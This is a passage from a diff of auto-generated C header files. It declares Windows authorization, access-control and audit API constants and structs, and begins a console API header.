|
||||
#define ACTRL_SVC_GET_INFO 0x1
|
||||
#define ACTRL_SVC_SET_INFO 0x2
|
||||
#define ACTRL_SVC_STATUS 0x4
|
||||
#define ACTRL_SVC_LIST 0x8
|
||||
#define ACTRL_SVC_START 0x10
|
||||
#define ACTRL_SVC_STOP 0x20
|
||||
#define ACTRL_SVC_PAUSE 0x40
|
||||
#define ACTRL_SVC_INTERROGATE 0x80
|
||||
#define ACTRL_SVC_UCONTROL 0x100
|
||||
#define ACTRL_REG_QUERY 0x1
|
||||
#define ACTRL_REG_SET 0x2
|
||||
#define ACTRL_REG_CREATE_CHILD 0x4
|
||||
#define ACTRL_REG_LIST 0x8
|
||||
#define ACTRL_REG_NOTIFY 0x10
|
||||
#define ACTRL_REG_LINK 0x20
|
||||
#define ACTRL_WIN_CLIPBRD 0x1
|
||||
#define ACTRL_WIN_GLOBAL_ATOMS 0x2
|
||||
#define ACTRL_WIN_CREATE 0x4
|
||||
#define ACTRL_WIN_LIST_DESK 0x8
|
||||
#define ACTRL_WIN_LIST 0x10
|
||||
#define ACTRL_WIN_READ_ATTRIBS 0x20
|
||||
#define ACTRL_WIN_WRITE_ATTRIBS 0x40
|
||||
#define ACTRL_WIN_SCREEN 0x80
|
||||
#define ACTRL_WIN_EXIT 0x100
|
||||
#define ACTRL_ACCESS_NO_OPTIONS 0x0
|
||||
#define ACTRL_ACCESS_SUPPORTS_OBJECT_ENTRIES 0x1
|
||||
#define AUDIT_TYPE_LEGACY 0x1
|
||||
#define AUDIT_TYPE_WMI 0x2
|
||||
#define AP_ParamTypeBits 0x8
|
||||
#define AP_ParamTypeMask 255
|
||||
#define _AUTHZ_SS_MAXSIZE 0x80
|
||||
#define APF_AuditFailure 0x0
|
||||
#define APF_AuditSuccess 0x1
|
||||
#define APF_ValidFlags 0x1
|
||||
#define AUTHZP_WPD_EVENT 0x10
|
||||
#define AUTHZ_ALLOW_MULTIPLE_SOURCE_INSTANCES 0x1
|
||||
#define AUTHZ_MIGRATED_LEGACY_PUBLISHER 0x2
|
||||
#define AUTHZ_AUDIT_INSTANCE_INFORMATION 0x2
|
||||
#define AUTHZ_SKIP_TOKEN_GROUPS 0x2
|
||||
#define AUTHZ_REQUIRE_S4U_LOGON 0x4
|
||||
#define AUTHZ_COMPUTE_PRIVILEGES 0x8
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_INVALID 0x0
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_INT64 0x1
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_UINT64 0x2
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_STRING 0x3
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_FQBN 0x4
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_SID 0x5
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x6
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10
|
||||
#define AUTHZ_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 0x1
|
||||
#define AUTHZ_SECURITY_ATTRIBUTES_INFORMATION_VERSION 0x1
|
||||
#define AUTHZ_RPC_INIT_INFO_CLIENT_VERSION_V1 0x1
|
||||
#define AUTHZ_INIT_INFO_VERSION_V1 0x1
|
||||
#define AUTHZ_WPD_CATEGORY_FLAG 0x10
|
||||
#define AUTHZ_FLAG_ALLOW_MULTIPLE_SOURCE_INSTANCES 0x1
|
||||
#define OLESCRIPT_E_SYNTAX -2147352319
|
||||
#define SE_UNKNOWN_OBJECT_TYPE 0
|
||||
#define SE_FILE_OBJECT 1
|
||||
#define SE_SERVICE 2
|
||||
#define SE_PRINTER 3
|
||||
#define SE_REGISTRY_KEY 4
|
||||
#define SE_LMSHARE 5
|
||||
#define SE_KERNEL_OBJECT 6
|
||||
#define SE_WINDOW_OBJECT 7
|
||||
#define SE_DS_OBJECT 8
|
||||
#define SE_DS_OBJECT_ALL 9
|
||||
#define SE_PROVIDER_DEFINED_OBJECT 10
|
||||
#define SE_WMIGUID_OBJECT 11
|
||||
#define SE_REGISTRY_WOW64_32KEY 12
|
||||
#define SE_REGISTRY_WOW64_64KEY 13
|
||||
#define NO_MULTIPLE_TRUSTEE 0
|
||||
#define TRUSTEE_IS_IMPERSONATE 1
|
||||
#define TRUSTEE_IS_UNKNOWN 0
|
||||
#define TRUSTEE_IS_USER 1
|
||||
#define TRUSTEE_IS_GROUP 2
|
||||
#define TRUSTEE_IS_DOMAIN 3
|
||||
#define TRUSTEE_IS_ALIAS 4
|
||||
#define TRUSTEE_IS_WELL_KNOWN_GROUP 5
|
||||
#define TRUSTEE_IS_DELETED 6
|
||||
#define TRUSTEE_IS_INVALID 7
|
||||
#define TRUSTEE_IS_COMPUTER 8
|
||||
#define AUTHZ_ACCESS_CHECK_NO_DEEP_COPY_SD 0x1
|
||||
#define TRUSTEE_IS_SID 0
|
||||
#define TRUSTEE_IS_NAME 1
|
||||
#define TRUSTEE_BAD_FORM 2
|
||||
#define TRUSTEE_IS_OBJECTS_AND_SID 3
|
||||
#define TRUSTEE_IS_OBJECTS_AND_NAME 4
|
||||
#define AuthzAuditEventInfoFlags 1
|
||||
#define AuthzAuditEventInfoOperationType 2
|
||||
#define AuthzAuditEventInfoObjectType 3
|
||||
#define AuthzAuditEventInfoObjectName 4
|
||||
#define AuthzAuditEventInfoAdditionalInfo 5
|
||||
#define ACTRL_ACCESS_ALLOWED 0x1
|
||||
#define ACTRL_ACCESS_DENIED 0x2
|
||||
#define ACTRL_AUDIT_SUCCESS 0x4
|
||||
#define ACTRL_AUDIT_FAILURE 0x8
|
||||
#define AZ_PROP_NAME 1
|
||||
#define AZ_PROP_DESCRIPTION 2
|
||||
#define AZ_PROP_WRITABLE 3
|
||||
#define AZ_PROP_APPLICATION_DATA 4
|
||||
#define AZ_PROP_CHILD_CREATE 5
|
||||
#define AZ_MAX_APPLICATION_NAME_LENGTH 512
|
||||
#define AZ_MAX_OPERATION_NAME_LENGTH 64
|
||||
#define AZ_MAX_TASK_NAME_LENGTH 64
|
||||
#define AZ_MAX_SCOPE_NAME_LENGTH 65536
|
||||
#define AZ_MAX_GROUP_NAME_LENGTH 64
|
||||
#define AZ_MAX_ROLE_NAME_LENGTH 64
|
||||
#define AZ_MAX_NAME_LENGTH 65536
|
||||
#define AZ_MAX_DESCRIPTION_LENGTH 1024
|
||||
#define AZ_MAX_APPLICATION_DATA_LENGTH 4096
|
||||
#define AZ_SUBMIT_FLAG_ABORT 1
|
||||
#define AZ_SUBMIT_FLAG_FLUSH 2
|
||||
#define AZ_MAX_POLICY_URL_LENGTH 65536
|
||||
#define AZ_AZSTORE_FLAG_CREATE 1
|
||||
#define AZ_AZSTORE_FLAG_MANAGE_STORE_ONLY 2
|
||||
#define AZ_AZSTORE_FLAG_BATCH_UPDATE 4
|
||||
#define AZ_AZSTORE_FLAG_AUDIT_IS_CRITICAL 8
|
||||
#define AZ_AZSTORE_FORCE_APPLICATION_CLOSE 16
|
||||
#define AZ_AZSTORE_NT6_FUNCTION_LEVEL 32
|
||||
#define AZ_AZSTORE_FLAG_MANAGE_ONLY_PASSIVE_SUBMIT 32768
|
||||
#define AZ_PROP_AZSTORE_DOMAIN_TIMEOUT 100
|
||||
#define AZ_AZSTORE_DEFAULT_DOMAIN_TIMEOUT 15000
|
||||
#define AZ_PROP_AZSTORE_SCRIPT_ENGINE_TIMEOUT 101
|
||||
#define AZ_AZSTORE_MIN_DOMAIN_TIMEOUT 500
|
||||
#define AZ_AZSTORE_MIN_SCRIPT_ENGINE_TIMEOUT 5000
|
||||
#define AZ_AZSTORE_DEFAULT_SCRIPT_ENGINE_TIMEOUT 45000
|
||||
#define AZ_PROP_AZSTORE_MAX_SCRIPT_ENGINES 102
|
||||
#define AZ_AZSTORE_DEFAULT_MAX_SCRIPT_ENGINES 120
|
||||
#define AZ_PROP_AZSTORE_MAJOR_VERSION 103
|
||||
#define AZ_PROP_AZSTORE_MINOR_VERSION 104
|
||||
#define AZ_PROP_AZSTORE_TARGET_MACHINE 105
|
||||
#define AZ_PROP_AZTORE_IS_ADAM_INSTANCE 106
|
||||
#define AZ_PROP_OPERATION_ID 200
|
||||
#define AZ_PROP_TASK_OPERATIONS 300
|
||||
#define AZ_PROP_TASK_BIZRULE 301
|
||||
#define AZ_PROP_TASK_BIZRULE_LANGUAGE 302
|
||||
#define AZ_PROP_TASK_TASKS 303
|
||||
#define AZ_PROP_TASK_BIZRULE_IMPORTED_PATH 304
|
||||
#define AZ_PROP_TASK_IS_ROLE_DEFINITION 305
|
||||
#define AZ_MAX_TASK_BIZRULE_LENGTH 65536
|
||||
#define AZ_MAX_TASK_BIZRULE_LANGUAGE_LENGTH 64
|
||||
#define AZ_MAX_TASK_BIZRULE_IMPORTED_PATH_LENGTH 512
|
||||
#define AZ_MAX_BIZRULE_STRING 65536
|
||||
#define AZ_PROP_GROUP_TYPE 400
|
||||
#define AZ_GROUPTYPE_LDAP_QUERY 1
|
||||
#define AZ_GROUPTYPE_BASIC 2
|
||||
#define AZ_GROUPTYPE_BIZRULE 3
|
||||
#define AZ_PROP_GROUP_APP_MEMBERS 401
|
||||
#define AZ_PROP_GROUP_APP_NON_MEMBERS 402
|
||||
#define AZ_PROP_GROUP_LDAP_QUERY 403
|
||||
#define AZ_MAX_GROUP_LDAP_QUERY_LENGTH 4096
|
||||
#define AZ_PROP_GROUP_MEMBERS 404
|
||||
#define AZ_PROP_GROUP_NON_MEMBERS 405
|
||||
#define AZ_PROP_GROUP_MEMBERS_NAME 406
|
||||
#define AZ_PROP_GROUP_NON_MEMBERS_NAME 407
|
||||
#define AZ_PROP_GROUP_BIZRULE 408
|
||||
#define AZ_PROP_GROUP_BIZRULE_LANGUAGE 409
|
||||
#define AZ_PROP_GROUP_BIZRULE_IMPORTED_PATH 410
|
||||
#define AZ_MAX_GROUP_BIZRULE_LENGTH 65536
|
||||
#define AZ_MAX_GROUP_BIZRULE_LANGUAGE_LENGTH 64
|
||||
#define AZ_MAX_GROUP_BIZRULE_IMPORTED_PATH_LENGTH 512
|
||||
#define AZ_PROP_ROLE_APP_MEMBERS 500
|
||||
#define AZ_PROP_ROLE_MEMBERS 501
|
||||
#define AZ_PROP_ROLE_OPERATIONS 502
|
||||
#define AZ_PROP_ROLE_TASKS 504
|
||||
#define AZ_PROP_ROLE_MEMBERS_NAME 505
|
||||
#define AZ_PROP_SCOPE_BIZRULES_WRITABLE 600
|
||||
#define AZ_PROP_SCOPE_CAN_BE_DELEGATED 601
|
||||
#define AZ_PROP_CLIENT_CONTEXT_USER_DN 700
|
||||
#define AZ_PROP_CLIENT_CONTEXT_USER_SAM_COMPAT 701
|
||||
#define AZ_PROP_CLIENT_CONTEXT_USER_DISPLAY 702
|
||||
#define AZ_PROP_CLIENT_CONTEXT_USER_GUID 703
|
||||
#define AZ_PROP_CLIENT_CONTEXT_USER_CANONICAL 704
|
||||
#define AZ_PROP_CLIENT_CONTEXT_USER_UPN 705
|
||||
#define AZ_PROP_CLIENT_CONTEXT_USER_DNS_SAM_COMPAT 707
|
||||
#define AZ_PROP_CLIENT_CONTEXT_ROLE_FOR_ACCESS_CHECK 708
|
||||
#define AZ_PROP_CLIENT_CONTEXT_LDAP_QUERY_DN 709
|
||||
#define AZ_PROP_APPLICATION_AUTHZ_INTERFACE_CLSID 800
|
||||
#define AZ_PROP_APPLICATION_VERSION 801
|
||||
#define AZ_MAX_APPLICATION_VERSION_LENGTH 512
|
||||
#define AZ_PROP_APPLICATION_NAME 802
|
||||
#define AZ_PROP_APPLICATION_BIZRULE_ENABLED 803
|
||||
#define AZ_PROP_APPLY_STORE_SACL 900
|
||||
#define AZ_PROP_GENERATE_AUDITS 901
|
||||
#define AZ_PROP_POLICY_ADMINS 902
|
||||
#define AZ_PROP_POLICY_READERS 903
|
||||
#define AZ_PROP_DELEGATED_POLICY_USERS 904
|
||||
#define AZ_PROP_POLICY_ADMINS_NAME 905
|
||||
#define AZ_PROP_POLICY_READERS_NAME 906
|
||||
#define AZ_PROP_DELEGATED_POLICY_USERS_NAME 907
|
||||
#define AZ_CLIENT_CONTEXT_SKIP_GROUP 1
|
||||
#define AZ_CLIENT_CONTEXT_SKIP_LDAP_QUERY 1
|
||||
#define AZ_CLIENT_CONTEXT_GET_GROUP_RECURSIVE 2
|
||||
#define AZ_CLIENT_CONTEXT_GET_GROUPS_STORE_LEVEL_ONLY 2
|
||||
#define AUTHZ_RM_FLAG_NO_AUDIT 0x1
|
||||
#define AUTHZ_RM_FLAG_INITIALIZE_UNDER_IMPERSONATION 0x2
|
||||
#define AUTHZ_RM_FLAG_NO_CENTRAL_ACCESS_POLICIES 0x4
|
||||
#define TREE_SEC_INFO_SET 0x1
|
||||
#define TREE_SEC_INFO_RESET 0x2
|
||||
#define TREE_SEC_INFO_RESET_KEEP_EXPLICIT 0x3
|
||||
#define AuthzContextInfoUserSid 1
|
||||
#define AuthzContextInfoGroupsSids 2
|
||||
#define AuthzContextInfoRestrictedSids 3
|
||||
#define AuthzContextInfoPrivileges 4
|
||||
#define AuthzContextInfoExpirationTime 5
|
||||
#define AuthzContextInfoServerContext 6
|
||||
#define AuthzContextInfoIdentifier 7
|
||||
#define AuthzContextInfoSource 8
|
||||
#define AuthzContextInfoAll 9
|
||||
#define AuthzContextInfoAuthenticationId 10
|
||||
#define AuthzContextInfoSecurityAttributes 11
|
||||
#define AuthzContextInfoDeviceSids 12
|
||||
#define AuthzContextInfoUserClaims 13
|
||||
#define AuthzContextInfoDeviceClaims 14
|
||||
#define AuthzContextInfoAppContainerSid 15
|
||||
#define AuthzContextInfoCapabilitySids 16
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x1
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x2
|
||||
#define ProgressInvokeNever 1
|
||||
#define ProgressInvokeEveryObject 2
|
||||
#define ProgressInvokeOnError 3
|
||||
#define ProgressCancelOperation 4
|
||||
#define ProgressRetryOperation 5
|
||||
#define ProgressInvokePrePostError 6
|
||||
#define AUTHZ_NO_SUCCESS_AUDIT 0x1
|
||||
#define AUTHZ_NO_FAILURE_AUDIT 0x2
|
||||
#define AUTHZ_NO_ALLOC_STRINGS 0x4
|
||||
#define NOT_USED_ACCESS 0
|
||||
#define GRANT_ACCESS 1
|
||||
#define SET_ACCESS 2
|
||||
#define DENY_ACCESS 3
|
||||
#define REVOKE_ACCESS 4
|
||||
#define SET_AUDIT_SUCCESS 5
|
||||
#define SET_AUDIT_FAILURE 6
|
||||
#define AUTHZ_GENERATE_SUCCESS_AUDIT 0x1
|
||||
#define AUTHZ_GENERATE_FAILURE_AUDIT 0x2
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_NONE 0
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_REPLACE_ALL 1
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_ADD 2
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_DELETE 3
|
||||
#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_REPLACE 4
|
||||
#define APT_None 1
|
||||
#define APT_String 2
|
||||
#define APT_Ulong 3
|
||||
#define APT_Pointer 4
|
||||
#define APT_Sid 5
|
||||
#define APT_LogonId 6
|
||||
#define APT_ObjectTypeList 7
|
||||
#define APT_Luid 8
|
||||
#define APT_Guid 9
|
||||
#define APT_Time 10
|
||||
#define APT_Int64 11
|
||||
#define APT_IpAddress 12
|
||||
#define APT_LogonIdWithSid 13
|
||||
#define AUTHZ_SID_OPERATION_NONE 0
|
||||
#define AUTHZ_SID_OPERATION_REPLACE_ALL 1
|
||||
#define AUTHZ_SID_OPERATION_ADD 2
|
||||
#define AUTHZ_SID_OPERATION_DELETE 3
|
||||
#define AUTHZ_SID_OPERATION_REPLACE 4
|
||||
|
||||
// SKIPPED struct AzBizRuleContext: no representable fields
|
||||
typedef struct _INHERITED_FROMW {
|
||||
int GenerationGap;
|
||||
void* AncestorName;
|
||||
} INHERITED_FROMW;
|
||||
|
||||
typedef struct _AUDIT_IP_ADDRESS {
|
||||
unsigned char pIpAddress[128];
|
||||
} AUDIT_IP_ADDRESS;
|
||||
|
||||
typedef struct _TRUSTEE_ACCESSA {
|
||||
void* lpProperty;
|
||||
unsigned int Access;
|
||||
unsigned int fAccessFlags;
|
||||
unsigned int fReturnedAccess;
|
||||
} TRUSTEE_ACCESSA;
|
||||
|
||||
typedef struct _ACTRL_ACCESS_ENTRY_LISTA {
|
||||
unsigned int cEntries;
|
||||
void* pAccessList;
|
||||
} ACTRL_ACCESS_ENTRY_LISTA;
|
||||
|
||||
typedef struct _ACTRL_ACCESSA {
|
||||
unsigned int cEntries;
|
||||
void* pPropertyAccessList;
|
||||
} ACTRL_ACCESSA;
|
||||
|
||||
typedef struct _ACTRL_ACCESS_INFOW {
|
||||
unsigned int fAccessPermission;
|
||||
void* lpAccessPermissionName;
|
||||
} ACTRL_ACCESS_INFOW;
|
||||
|
||||
typedef struct _AUDIT_PARAM {
|
||||
void* Type;
|
||||
unsigned int Length;
|
||||
unsigned int Flags;
|
||||
void* Anonymous1;
|
||||
void* Anonymous2;
|
||||
} AUDIT_PARAM;
|
||||
|
||||
typedef struct _ACTRL_ACCESS_ENTRYA {
|
||||
void* Trustee;
|
||||
void* fAccessFlags;
|
||||
unsigned int Access;
|
||||
unsigned int ProvSpecificAccess;
|
||||
void* Inheritance;
|
||||
void* lpInheritProperty;
|
||||
} ACTRL_ACCESS_ENTRYA;
|
||||
|
||||
typedef struct _AUTHZ_CAP_CHANGE_SUBSCRIPTION_HANDLE {
|
||||
void* Value;
|
||||
} AUTHZ_CAP_CHANGE_SUBSCRIPTION_HANDLE;
|
||||
|
||||
typedef struct _AUTHZ_RESOURCE_MANAGER_HANDLE {
|
||||
void* Value;
|
||||
} AUTHZ_RESOURCE_MANAGER_HANDLE;
|
||||
|
||||
typedef struct _AUTHZ_ACCESS_REPLY {
|
||||
unsigned int ResultListLength;
|
||||
void* GrantedAccessMask;
|
||||
void* SaclEvaluationResults;
|
||||
void* Error;
|
||||
} AUTHZ_ACCESS_REPLY;
|
||||
|
||||
typedef struct _ACTRL_PROPERTY_ENTRYA {
|
||||
void* lpProperty;
|
||||
void* pAccessEntryList;
|
||||
unsigned int fListFlags;
|
||||
} ACTRL_PROPERTY_ENTRYA;
|
||||
|
||||
typedef struct _AUTHZ_AUDIT_EVENT_TYPE_LEGACY {
|
||||
unsigned short CategoryId;
|
||||
unsigned short AuditId;
|
||||
unsigned short ParameterCount;
|
||||
} AUTHZ_AUDIT_EVENT_TYPE_LEGACY;
|
||||
|
||||
// SKIPPED struct AzAuthorizationStore: no representable fields
|
||||
typedef struct _AUTHZ_SECURITY_ATTRIBUTE_V1 {
|
||||
void* pName;
|
||||
unsigned short ValueType;
|
||||
unsigned short Reserved;
|
||||
void* Flags;
|
||||
unsigned int ValueCount;
|
||||
void* Values;
|
||||
} AUTHZ_SECURITY_ATTRIBUTE_V1;
|
||||
|
||||
typedef struct _AUTHZ_SECURITY_EVENT_PROVIDER_HANDLE {
|
||||
void* Value;
|
||||
} AUTHZ_SECURITY_EVENT_PROVIDER_HANDLE;
|
||||
|
||||
typedef struct _TRUSTEE_W {
|
||||
void* pMultipleTrustee;
|
||||
void* MultipleTrusteeOperation;
|
||||
void* TrusteeForm;
|
||||
void* TrusteeType;
|
||||
void* ptstrName;
|
||||
} TRUSTEE_W;
|
||||
|
||||
typedef struct _AUTHZ_SECURITY_ATTRIBUTE_FQBN_VALUE {
|
||||
unsigned long long Version;
|
||||
void* pName;
|
||||
} AUTHZ_SECURITY_ATTRIBUTE_FQBN_VALUE;
|
||||
|
||||
typedef struct _AUTHZ_REGISTRATION_OBJECT_TYPE_NAME_OFFSET {
|
||||
void* szObjectTypeName;
|
||||
unsigned int dwOffset;
|
||||
} AUTHZ_REGISTRATION_OBJECT_TYPE_NAME_OFFSET;
|
||||
|
||||
typedef struct _INHERITED_FROMA {
|
||||
int GenerationGap;
|
||||
void* AncestorName;
|
||||
} INHERITED_FROMA;
|
||||
|
||||
typedef struct _ACTRL_OVERLAPPED {
|
||||
void* Anonymous;
|
||||
unsigned int Reserved2;
|
||||
void* hEvent;
|
||||
} ACTRL_OVERLAPPED;
|
||||
|
||||
typedef struct _AUTHZ_AUDIT_EVENT_HANDLE {
|
||||
void* Value;
|
||||
} AUTHZ_AUDIT_EVENT_HANDLE;
|
||||
|
||||
typedef struct _EXPLICIT_ACCESS_A {
|
||||
unsigned int grfAccessPermissions;
|
||||
void* grfAccessMode;
|
||||
void* grfInheritance;
|
||||
void* Trustee;
|
||||
} EXPLICIT_ACCESS_A;
|
||||
|
||||
typedef struct _AUTHZ_CLIENT_CONTEXT_HANDLE {
|
||||
void* Value;
|
||||
} AUTHZ_CLIENT_CONTEXT_HANDLE;
|
||||
|
||||
typedef struct _OBJECTS_AND_SID {
|
||||
void* ObjectsPresent;
|
||||
void* ObjectTypeGuid;
|
||||
void* InheritedObjectTypeGuid;
|
||||
void* pSid;
|
||||
} OBJECTS_AND_SID;
|
||||
|
||||
typedef struct _AUTHZ_ACCESS_CHECK_RESULTS_HANDLE {
|
||||
void* Value;
|
||||
} AUTHZ_ACCESS_CHECK_RESULTS_HANDLE;
|
||||
|
||||
typedef struct _AUTHZ_INIT_INFO {
|
||||
unsigned short version;
|
||||
void* szResourceManagerName;
|
||||
void* pfnDynamicAccessCheck;
|
||||
void* pfnComputeDynamicGroups;
|
||||
void* pfnFreeDynamicGroups;
|
||||
void* pfnGetCentralAccessPolicy;
|
||||
void* pfnFreeCentralAccessPolicy;
|
||||
} AUTHZ_INIT_INFO;
|
||||
|
||||
typedef struct _ACTRL_ACCESS_ENTRY_LISTW {
|
||||
unsigned int cEntries;
|
||||
void* pAccessList;
|
||||
} ACTRL_ACCESS_ENTRY_LISTW;
|
||||
|
||||
typedef struct _AUDIT_OBJECT_TYPES {
|
||||
unsigned short Count;
|
||||
unsigned short Flags;
|
||||
void* pObjectTypes;
|
||||
} AUDIT_OBJECT_TYPES;
|
||||
|
||||
typedef struct _ACTRL_ACCESS_INFOA {
|
||||
unsigned int fAccessPermission;
|
||||
void* lpAccessPermissionName;
|
||||
} ACTRL_ACCESS_INFOA;
|
||||
|
||||
typedef struct _ACTRL_CONTROL_INFOW {
|
||||
void* lpControlId;
|
||||
void* lpControlName;
|
||||
} ACTRL_CONTROL_INFOW;
|
||||
|
||||
typedef struct _ACTRL_CONTROL_INFOA {
|
||||
void* lpControlId;
|
||||
void* lpControlName;
|
||||
} ACTRL_CONTROL_INFOA;
|
||||
|
||||
typedef struct _ACTRL_ACCESSW {
|
||||
unsigned int cEntries;
|
||||
void* pPropertyAccessList;
|
||||
} ACTRL_ACCESSW;
|
||||
|
||||
typedef struct _AUTHZ_AUDIT_EVENT_TYPE_UNION {
|
||||
void* Legacy;
|
||||
} AUTHZ_AUDIT_EVENT_TYPE_UNION;
|
||||
|
||||
typedef struct _AUTHZ_AUDIT_EVENT_TYPE_OLD {
|
||||
unsigned int Version;
|
||||
unsigned int dwFlags;
|
||||
int RefCount;
|
||||
unsigned long long hAudit;
|
||||
void* LinkId;
|
||||
void* u;
|
||||
} AUTHZ_AUDIT_EVENT_TYPE_OLD;
|
||||
|
||||
typedef struct _EXPLICIT_ACCESS_W {
|
||||
unsigned int grfAccessPermissions;
|
||||
void* grfAccessMode;
|
||||
void* grfInheritance;
|
||||
void* Trustee;
|
||||
} EXPLICIT_ACCESS_W;
|
||||
|
||||
typedef struct _FN_OBJECT_MGR_FUNCTS {
|
||||
unsigned int Placeholder;
|
||||
} FN_OBJECT_MGR_FUNCTS;
|
||||
|
||||
typedef struct _AUTHZ_SECURITY_ATTRIBUTES_INFORMATION {
|
||||
unsigned short Version;
|
||||
unsigned short Reserved;
|
||||
unsigned int AttributeCount;
|
||||
void* Attribute;
|
||||
} AUTHZ_SECURITY_ATTRIBUTES_INFORMATION;
|
||||
|
||||
typedef struct _TRUSTEE_A {
|
||||
void* pMultipleTrustee;
|
||||
void* MultipleTrusteeOperation;
|
||||
void* TrusteeForm;
|
||||
void* TrusteeType;
|
||||
void* ptstrName;
|
||||
} TRUSTEE_A;
|
||||
|
||||
typedef struct _OBJECTS_AND_NAME_W {
|
||||
void* ObjectsPresent;
|
||||
void* ObjectType;
|
||||
void* ObjectTypeName;
|
||||
void* InheritedObjectTypeName;
|
||||
void* ptstrName;
|
||||
} OBJECTS_AND_NAME_W;
|
||||
|
||||
typedef struct _AUTHZ_ACCESS_REQUEST {
|
||||
unsigned int DesiredAccess;
|
||||
void* PrincipalSelfSid;
|
||||
void* ObjectTypeList;
|
||||
unsigned int ObjectTypeListLength;
|
||||
void* OptionalArguments;
|
||||
} AUTHZ_ACCESS_REQUEST;
|
||||
|
||||
typedef struct _OBJECTS_AND_NAME_A {
|
||||
void* ObjectsPresent;
|
||||
void* ObjectType;
|
||||
void* ObjectTypeName;
|
||||
void* InheritedObjectTypeName;
|
||||
void* ptstrName;
|
||||
} OBJECTS_AND_NAME_A;
|
||||
|
||||
typedef struct _AUDIT_OBJECT_TYPE {
|
||||
void* ObjectType;
|
||||
unsigned short Flags;
|
||||
unsigned short Level;
|
||||
unsigned int AccessMask;
|
||||
} AUDIT_OBJECT_TYPE;
|
||||
|
||||
typedef struct _AUTHZ_AUDIT_EVENT_TYPE_HANDLE {
|
||||
void* Value;
|
||||
} AUTHZ_AUDIT_EVENT_TYPE_HANDLE;
|
||||
|
||||
typedef struct _AUTHZ_RPC_INIT_INFO_CLIENT {
|
||||
unsigned short version;
|
||||
void* ObjectUuid;
|
||||
void* ProtSeq;
|
||||
void* NetworkAddr;
|
||||
void* Endpoint;
|
||||
void* Options;
|
||||
void* ServerSpn;
|
||||
} AUTHZ_RPC_INIT_INFO_CLIENT;
|
||||
|
||||
typedef struct _AUTHZ_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE {
|
||||
void* pValue;
|
||||
unsigned int ValueLength;
|
||||
} AUTHZ_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE;
|
||||
|
||||
// SKIPPED struct AzPrincipalLocator: no representable fields
|
||||
typedef struct _TRUSTEE_ACCESSW {
|
||||
void* lpProperty;
|
||||
unsigned int Access;
|
||||
unsigned int fAccessFlags;
|
||||
unsigned int fReturnedAccess;
|
||||
} TRUSTEE_ACCESSW;
|
||||
|
||||
typedef struct _AUDIT_PARAMS {
|
||||
unsigned int Length;
|
||||
unsigned int Flags;
|
||||
unsigned short Count;
|
||||
void* Parameters;
|
||||
} AUDIT_PARAMS;
|
||||
|
||||
typedef struct _ACTRL_PROPERTY_ENTRYW {
|
||||
void* lpProperty;
|
||||
void* pAccessEntryList;
|
||||
unsigned int fListFlags;
|
||||
} ACTRL_PROPERTY_ENTRYW;
|
||||
|
||||
typedef struct _AUTHZ_SOURCE_SCHEMA_REGISTRATION {
|
||||
unsigned int dwFlags;
|
||||
void* szEventSourceName;
|
||||
void* szEventMessageFile;
|
||||
void* szEventSourceXmlSchemaFile;
|
||||
void* szEventAccessStringsFile;
|
||||
void* szExecutableImagePath;
|
||||
void* Anonymous;
|
||||
unsigned int dwObjectTypeNameCount;
|
||||
void* ObjectTypeNames[1];
|
||||
} AUTHZ_SOURCE_SCHEMA_REGISTRATION;
|
||||
|
||||
typedef struct _ACTRL_ACCESS_ENTRYW {
|
||||
void* Trustee;
|
||||
void* fAccessFlags;
|
||||
unsigned int Access;
|
||||
unsigned int ProvSpecificAccess;
|
||||
void* Inheritance;
|
||||
void* lpInheritProperty;
|
||||
} ACTRL_ACCESS_ENTRYW;
|
||||
|
||||
@@ -0,0 +1,331 @@
|
||||
// Generated by entc-win32gen from `Windows.Win32.System.Console`.
|
||||
// Do not edit by hand. Re-run the generator to refresh.
|
||||
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned long long ULONGLONG;
|
||||
typedef long LONG;
|
||||
typedef unsigned long ULONG;
|
||||
typedef int BOOL;
|
||||
typedef void* PVOID;
|
||||
typedef void* HANDLE;
|
||||
|
||||
#define CONSOLE_TEXTMODE_BUFFER 0x1
|
||||
#define CONSOLE_SELECTION_INVERTED 0x10
|
||||
#define VDM_HIDE_WINDOW 0x1
|
||||
#define VDM_IS_ICONIC 0x2
|
||||
#define VDM_CLIENT_RECT 0x3
|
||||
#define VDM_CLIENT_TO_SCREEN 0x4
|
||||
#define VDM_SCREEN_TO_CLIENT 0x5
|
||||
#define VDM_IS_HIDDEN 0x6
|
||||
#define VDM_FULLSCREEN_NOPAINT 0x7
|
||||
#define VDM_SET_VIDEO_MODE 0x8
|
||||
#define CONSOLE_UNREGISTER_VDM 0x0
|
||||
#define CONSOLE_REGISTER_VDM 0x1
|
||||
#define CONSOLE_REGISTER_WOW 0x2
|
||||
#define CONSOLE_NOSHORTCUTKEY 0x0
|
||||
#define CONSOLE_ALTTAB 0x1
|
||||
#define CONSOLE_ALTESC 0x2
|
||||
#define CONSOLE_ALTSPACE 0x4
|
||||
#define CONSOLE_ALTENTER 0x8
|
||||
#define CONSOLE_ALTPRTSC 0x10
|
||||
#define CONSOLE_PRTSC 0x20
|
||||
#define CONSOLE_CTRLESC 0x40
|
||||
#define CONSOLE_MODIFIER_SHIFT 0x3
|
||||
#define CONSOLE_MODIFIER_CONTROL 0x4
|
||||
#define CONSOLE_MODIFIER_ALT 0x8
|
||||
#define CHAR_TYPE_SBCS 0x0
|
||||
